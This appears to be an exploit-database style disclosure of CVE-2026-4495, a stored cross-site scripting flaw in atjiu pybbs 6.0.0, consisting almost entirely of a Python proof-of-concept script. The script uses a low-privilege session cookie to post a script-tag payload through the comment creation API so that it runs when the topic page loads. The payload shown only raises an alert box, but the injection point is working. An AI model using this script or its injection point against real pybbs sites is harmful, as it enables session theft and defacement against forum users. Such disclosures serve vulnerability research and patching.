CVE-2026-4495 atjiu pybbs 存储型XSS漏洞

import requests # Exploit Title: atjiu pybbs 6.0.0 Stored XSS via Comment API # Date: 2026-03-20 # CVE: CVE-2026-4495 target_url = "http://target-ip/api/comment/create" # Malicious payload to trigger XSS payload = "<script>alert('CVE-2026-4495');</script>" # Attacker needs a valid session cookie (Low Privilege required as per PR:L) cookies = { "JSESSIONID": "valid_attacker_session_cookie" } # Data to be sent in the POST request data = { "content": payload, "topic_id": "1" } try: # Send the malicious comment response = requests.post(target_url, cookies=cookies, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the topic page to verify XSS execution.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")